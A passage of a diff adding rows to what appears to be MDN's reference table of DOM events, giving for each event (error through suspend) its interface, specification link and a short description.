+   <td><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> and </span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-error">XMLHttpRequest</a></td>
+   <td>Progression has failed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("error")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+   <td>An error occurred while downloading the cache manifest or updating the content of the application.</td>
+  </tr>
+  <tr>
+   <td>{{Event("error")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>A WebSocket connection has been closed with prejudice (some data couldn't be sent for example).</td>
+  </tr>
+  <tr>
+   <td>{{Event("error")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
+   <td>An event source connection has been failed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("error")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>A request caused an error and failed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("error_(SpeechRecognitionError)","error")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>A speech recognition error occurs.</td>
+  </tr>
+  <tr>
+   <td>{{Event("error_(SpeechSynthesisError)","error")}}</td>
+   <td>{{DOMxRef("SpeechSynthesisErrorEvent")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>An error occurs that prevents the utterance from being successfully spoken.</td>
+  </tr>
+  <tr>
+   <td>{{Event("focus")}}</td>
+   <td>{{DOMxRef("FocusEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focus" style="white-space: nowrap;">DOM L3</a></td>
+   <td>An element has received focus (does not bubble).</td>
+  </tr>
+  <tr>
+   <td>{{Event("focusin")}}</td>
+   <td>{{DOMxRef("FocusEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focusIn" style="white-space: nowrap;">DOM L3</a></td>
+   <td>An element is about to receive focus (bubbles).</td>
+  </tr>
+  <tr>
+   <td>{{Event("focusout")}}</td>
+   <td>{{DOMxRef("FocusEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focusout" style="white-space: nowrap;">DOM L3</a></td>
+   <td>An element is about to lose focus (bubbles).</td>
+  </tr>
+  <tr>
+   <td>{{Event("fullscreenchange")}}{{gecko_minversion_inline("9")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="https://dvcs.w3.org/hg/fullscreen/raw-file/tip/Overview.html#api">Full Screen</a></td>
+   <td>An element was turned to fullscreen mode or back to normal mode.</td>
+  </tr>
+  <tr>
+   <td>{{Event("fullscreenerror")}}{{gecko_minversion_inline("9")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="https://dvcs.w3.org/hg/fullscreen/raw-file/tip/Overview.html#api">Full Screen</a></td>
+   <td>It was impossible to switch to fullscreen mode for technical reasons or because the permission was denied.</td>
+  </tr>
+  <tr>
+   <td>{{Event("gamepadconnected")}}</td>
+   <td>{{DOMxRef("GamepadEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/gamepad/#the-gamepadconnected-event">Gamepad</a></td>
+   <td>A gamepad has been connected.</td>
+  </tr>
+  <tr>
+   <td>{{Event("gamepaddisconnected")}}</td>
+   <td>{{DOMxRef("GamepadEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/gamepad/#the-gamepaddisconnected-event">Gamepad</a></td>
+   <td>A gamepad has been disconnected.</td>
+  </tr>
+  <tr>
+   <td>{{Event("gotpointercapture")}}</td>
+   <td>{{DOMxRef("PointerEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerevents/#the-gotpointercapture-event">Pointer Events</a></td>
+   <td>Element receives pointer capture.</td>
+  </tr>
+  <tr>
+   <td>{{Event("hashchange")}}</td>
+   <td>{{DOMxRef("HashChangeEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-hashchange">HTML5</a></td>
+   <td>The fragment identifier of the URL has changed (the part of the URL after the #).</td>
+  </tr>
+  <tr>
+   <td>{{Event("lostpointercapture")}}</td>
+   <td>{{DOMxRef("PointerEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerevents/#the-lostpointercapture-event">Pointer Events</a></td>
+   <td>Element lost pointer capture.</td>
+  </tr>
+  <tr>
+   <td>{{Event("input")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/html5/forms.html#common-event-behaviors">HTML5</a></td>
+   <td>The value of an element changes or the content of an element with the attribute <a href="/en-US/docs/DOM/Element.contentEditable">contenteditable</a> is modified.</td>
+  </tr>
+  <tr>
+   <td>{{Event("invalid")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#constraint-validation">HTML5</a></td>
+   <td>A submittable element has been checked and doesn't satisfy its constraints.</td>
+  </tr>
+  <tr>
+   <td>{{Event("keydown")}}</td>
+   <td>{{DOMxRef("KeyboardEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keydown" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A key is pressed down.</td>
+  </tr>
+  <tr>
+   <td>{{Event("keypress")}}</td>
+   <td>{{DOMxRef("KeyboardEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keypress" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A key is pressed down and that key normally produces a character value (use input instead).</td>
+  </tr>
+  <tr>
+   <td>{{Event("keyup")}}</td>
+   <td>{{DOMxRef("KeyboardEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keyup" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A key is released.</td>
+  </tr>
+  <tr>
+   <td>{{Event("languagechange")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{ SpecName('HTML5.1', '#dom-navigator-languages', 'NavigatorLanguage.languages') }}</td>
+   <td>The user's preferred languages have changed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("levelchange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+   <td>The <code>level</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td>{{Event("load")}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-load" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A resource and its dependent resources have finished loading.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/load_(ProgressEvent)">load</a></code></td>
+   <td>{{DOMxRef("ProgressEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-load">XMLHttpRequest</a></td>
+   <td>Progression has been successful.</td>
+  </tr>
+  <tr>
+   <td>{{Event("loadeddata")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-loadeddata">HTML5 media</a></td>
+   <td>The first frame of the media has finished loading.</td>
+  </tr>
+  <tr>
+   <td>{{Event("loadedmetadata")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-loadedmetadata">HTML5 media</a></td>
+   <td>The metadata has been loaded.</td>
+  </tr>
+  <tr>
+   <td>{{Event("loadend")}}</td>
+   <td>{{DOMxRef("ProgressEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-loadend">XMLHttpRequest</a></td>
+   <td>Progress has stopped (after "error", "abort" or "load" have been dispatched).</td>
+  </tr>
+  <tr>
+   <td>{{Event("loadstart")}}</td>
+   <td>{{DOMxRef("ProgressEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/progress-events/">Progress </a><span>and </span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-loadstart">XMLHttpRequest</a></td>
+   <td>Progress has begun.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mark")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("SpeechSynthesisEvent")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The spoken utterance reaches a named SSML "mark" tag.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_websocket">message</a></code></td>
+   <td>{{DOMxRef("MessageEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>A message is received through a WebSocket.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_webworker">message</a></code></td>
+   <td>{{DOMxRef("MessageEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/workers/#communicating-with-a-dedicated-worker">Web Workers</a></td>
+   <td>A message is received from a Web Worker.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_webmessaging">message</a></code></td>
+   <td>{{DOMxRef("MessageEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/webmessaging/">Web Messaging</a></td>
+   <td>A message is received from a child (i)frame or a parent window.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_serversentevents">message</a></code></td>
+   <td>{{DOMxRef("MessageEvent")}}</td>
+   <td><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
+   <td>A message is received through an event source.</td>
+  </tr>
+  <tr>
+   <td>{{Event("messageerror")}}</td>
+   <td>{{DOMxRef("MessageEvent")}}</td>
+   <td>{{DOMxRef("MessagePort")}}, <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>, <a href="/en-US/docs/Web/API/Broadcast_Channel_API">Broadcast Channel</a>, {{DOMxRef("Window")}}</td>
+   <td>A message error is raised when a message is received by an object.</td>
+  </tr>
+  <tr>
+   <td>{{Event("message_(ServiceWorker)","message")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("ServiceWorkerMessageEvent")}} or {{DOMxRef("ExtendableMessageEvent")}}, depending on context.</td>
+   <td><a href="/en-US/docs/Web/API/Service_Worker_API">Service Workers</a></td>
+   <td>A message is received from a service worker, or a message is received in a service worker from another context.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mousedown")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mousedown" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A pointing device button (usually a mouse) is pressed on an element.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mouseenter")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseenter" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A pointing device is moved onto the element that has the listener attached.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mouseleave")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseleave" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A pointing device is moved off the element that has the listener attached.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mousemove")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mousemove" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A pointing device is moved over an element.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mouseout")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseout" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A pointing device is moved off the element that has the listener attached or off one of its children.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mouseover")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseover" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A pointing device is moved onto the element that has the listener attached or onto one of its children.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mouseup")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseup" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A pointing device button is released over an element.</td>
+  </tr>
+  <tr>
+   <td>{{Event("nomatch")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("SpeechRecognitionEvent")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The speech recognition service returns a final result with no significant recognition.</td>
+  </tr>
+  <tr>
+   <td>{{Event("notificationclick")}}</td>
+   <td>{{DOMxRef("NotificationEvent")}} {{Experimental_Inline}}</td>
+   <td>{{SpecName('Web Notifications','#dom-serviceworkerglobalscope-onnotificationclick','onnotificationclick')}}</td>
+   <td>A system notification<span style="line-height: 19.0909080505371px;"> spawned by {{DOMxRef("ServiceWorkerRegistration.showNotification()")}} has been clicked.</span></td>
+  </tr>
+  <tr>
+   <td>{{Event("noupdate")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+   <td>The manifest hadn't changed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("obsolete")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+   <td>The manifest was found to have become a 404 or 410 page, so the application cache is being deleted.</td>
+  </tr>
+  <tr>
+   <td>{{Event("offline")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#event-offline">HTML5 offline</a></td>
+   <td>The browser has lost access to the network.</td>
+  </tr>
+  <tr>
+   <td>{{Event("online")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#event-online">HTML5 offline</a></td>
+   <td>The browser has gained access to the network (but particular websites might be unreachable).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/open_websocket">open</a></code></td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>A WebSocket connection has been established.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/open_serversentevents">open</a></code></td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
+   <td>An event source connection has been established.</td>
+  </tr>
+  <tr>
+   <td>{{Event("orientationchange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/screen-orientation/">Screen Orientation</a></td>
+   <td>The orientation of the device (portrait/landscape) has changed</td>
+  </tr>
+  <tr>
+   <td>{{Event("pagehide")}}</td>
+   <td>{{DOMxRef("PageTransitionEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-pagehide">HTML5</a></td>
+   <td>A session history entry is being traversed from.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pageshow")}}</td>
+   <td>{{DOMxRef("PageTransitionEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-pageshow">HTML5</a></td>
+   <td>A session history entry is being traversed to.</td>
+  </tr>
+  <tr>
+   <td>{{Event("paste")}}</td>
+   <td>{{DOMxRef("ClipboardEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/clipboard-apis/#paste-event">Clipboard</a></td>
+   <td>Data has been transferred from the system clipboard to the document.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pause")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-pause">HTML5 media</a></td>
+   <td>Playback has been paused.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pause_(SpeechSynthesis)", "pause")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("SpeechSynthesisEvent")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The utterance is paused part way through.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointercancel")}}</td>
+   <td>{{DOMxRef("PointerEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerevents/#the-pointercancel-event">Pointer Events</a></td>
+   <td>The pointer is unlikely to produce any more events.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointerdown")}}</td>
+   <td>{{DOMxRef("PointerEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerevents/#the-pointerdown-event">Pointer Events</a></td>
+   <td>The pointer enters the active buttons state.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointerenter")}}</td>
+   <td>{{DOMxRef("PointerEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerevents/#the-pointerenter-event">Pointer Events</a></td>
+   <td>Pointing device is moved inside the hit-testing boundary.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointerleave")}}</td>
+   <td>{{DOMxRef("PointerEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerevents/#the-pointerleave-event">Pointer Events</a></td>
+   <td>Pointing device is moved out of the hit-testing boundary.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointerlockchange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerlock/#pointerlockchange-and-pointerlockerror-events">Pointer Lock</a></td>
+   <td>The pointer was locked or released.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointerlockerror")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerlock/#pointerlockchange-and-pointerlockerror-events">Pointer Lock</a></td>
+   <td>It was impossible to lock the pointer for technical reasons or because the permission was denied.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointermove")}}</td>
+   <td>{{DOMxRef("PointerEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerevents/#the-pointermove-event">Pointer Events</a></td>
+   <td>The pointer changed coordinates.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointerout")}}</td>
+   <td>{{DOMxRef("PointerEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerevents/#the-pointerout-event">Pointer Events</a></td>
+   <td>The pointing device moved out of hit-testing boundary or leaves detectable hover range.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointerover")}}</td>
+   <td>{{DOMxRef("PointerEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerevents/#the-pointerover-event">Pointer Events</a></td>
+   <td>The pointing device is moved into the hit-testing boundary.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointerup")}}</td>
+   <td>{{DOMxRef("PointerEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerevents/#the-pointerup-event">Pointer Events</a></td>
+   <td>The pointer leaves the active buttons state.</td>
+  </tr>
+  <tr>
+   <td>{{Event("play")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-play">HTML5 media</a></td>
+   <td>Playback has begun.</td>
+  </tr>
+  <tr>
+   <td>{{Event("playing")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-playing">HTML5 media</a></td>
+   <td>Playback is ready to start after having been paused or delayed due to lack of data.</td>
+  </tr>
+  <tr>
+   <td>{{Event("popstate")}}</td>
+   <td>{{DOMxRef("PopStateEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-popstate">HTML5</a></td>
+   <td>A session history entry is being navigated to (in certain cases).</td>
+  </tr>
+  <tr>
+   <td>{{Event("progress")}}</td>
+   <td>{{DOMxRef("ProgressEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-progress">XMLHttpRequest</a></td>
+   <td>In progress.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/progress_(appcache_event)">progress</a></code></td>
+   <td>{{DOMxRef("ProgressEvent")}}</td>
+   <td><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+   <td>The user agent is downloading resources listed by the manifest.</td>
+  </tr>
+  <tr>
+   <td>{{Event("push")}}</td>
+   <td>{{DOMxRef("PushEvent")}} {{Experimental_Inline}}</td>
+   <td>{{SpecName("Push API")}}</td>
+   <td>A <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker</a> has received a push message.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pushsubscriptionchange")}}</td>
+   <td>{{DOMxRef("PushEvent")}} {{Experimental_Inline}}</td>
+   <td>{{SpecName("Push API")}}</td>
+   <td>A <a href="/en-US/docs/Web/API/PushSubscription">PushSubscription</a> has expired.</td>
+  </tr>
+  <tr>
+   <td>{{Event("ratechange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-ratechange">HTML5 media</a></td>
+   <td>The playback rate has changed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("readystatechange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><span>HTML5 <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-readystatechange">XMLHttpRequest</a></td>
+   <td>The readyState attribute of a document has changed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("repeatEvent")}}</td>
+   <td>{{DOMxRef("TimeEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>A <a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SMIL</a> animation element is repeated.</td>
+  </tr>
+  <tr>
+   <td>{{Event("reset")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#form-submission-0#resetting-a-form">HTML5</a></td>
+   <td>A form is reset.</td>
+  </tr>
+  <tr>
+   <td>{{Event("resize")}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-resize" style="white-space: nowrap;">DOM L3</a></td>
+   <td>The document view has been resized.</td>
+  </tr>
+  <tr>
+   <td>{{Event("resourcetimingbufferfull")}}</td>
+   <td>{{DOMxRef("Performance")}}</td>
+   <td><a href="https://w3c.github.io/resource-timing/#dom-performance-onresourcetimingbufferfull">Resource Timing</a></td>
+   <td>The browser's resource timing buffer is full.</td>
+  </tr>
+  <tr>
+   <td>{{Event("result")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("SpeechRecognitionEvent")}} {{Experimental_Inline}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app.</td>
+  </tr>
+  <tr>
+   <td>{{Event("resume")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("SpeechSynthesisEvent")}} {{Experimental_Inline}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>A paused utterance is resumed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("scroll")}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-scroll" style="white-space: nowrap;">DOM L3</a></td>
+   <td>The document view or an element has been scrolled.</td>
+  </tr>
+  <tr>
+   <td>{{Event("seeked")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-seeked">HTML5 media</a></td>
+   <td>A <em>seek</em> operation completed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("seeking")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-seeking">HTML5 media</a></td>
+   <td>A <em>seek</em> operation began.</td>
+  </tr>
+  <tr>
+   <td>{{Event("select")}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-select" style="white-space: nowrap;">DOM L3</a></td>
+   <td>Some text is being selected.</td>
+  </tr>
+  <tr>
+   <td>{{Event("selectstart")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{ SpecName('Selection API')}}</td>
+   <td>A selection just started.</td>
+  </tr>
+  <tr>
+   <td>{{Event("selectionchange")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{ SpecName('Selection API')}}</td>
+   <td>The selection in the document has been changed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("show")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/html5/interactive-elements.html#context-menus">HTML5</a></td>
+   <td>A contextmenu event was fired on/bubbled to an element that has a <a href="/en-US/docs/DOM/element.contextmenu">contextmenu</a> attribute</td>
+  </tr>
+  <tr>
+   <td>{{Event("slotchange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{ SpecName('DOM WHATWG')}}</td>
+   <td>The node contents of a {{DOMxRef("HTMLSlotElement")}} ({{htmlelement("slot")}}) have changed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("soundend")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>Any sound — recognisable speech or not — has stopped being detected.</td>
+  </tr>
+  <tr>
+   <td>{{Event("soundstart")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>Any sound — recognisable speech or not — has been detected.</td>
+  </tr>
+  <tr>
+   <td>{{Event("speechend")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>Speech recognised by the speech recognition service has stopped being detected.</td>
+  </tr>
+  <tr>
+   <td>{{Event("speechstart")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>Sound that is recognised by the speech recognition service as speech has been detected.</td>
+  </tr>
+  <tr>
+   <td>{{Event("stalled")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-stalled">HTML5 media</a></td>
+   <td>The user agent is trying to fetch media data, but data is unexpectedly not forthcoming.</td>
+  </tr>
+  <tr>
+   <td>{{Event("start_(SpeechRecognition)","start")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current <code>SpeechRecognition</code>.</td>
+  </tr>
+  <tr>
+   <td>{{Event("start_(SpeechSynthesis)","start")}}</td>
+   <td>{{DOMxRef("SpeechSynthesisEvent")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The utterance has begun to be spoken.</td>
+  </tr>
+  <tr>
+   <td>{{Event("storage")}}</td>
+   <td>{{DOMxRef("StorageEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/webstorage/#the-storage-event">Web Storage</a></td>
+   <td>A storage area (<a href="/en-US/docs/DOM/Storage#localStorage">localStorage</a> or <a href="/en-US/docs/DOM/Storage#sessionStorage">sessionStorage</a>) has changed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("submit")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#form-submission-algorithm">HTML5</a></td>
+   <td>A form is submitted.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/success_indexedDB">success</a></code></td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>A request successfully completed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("suspend")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
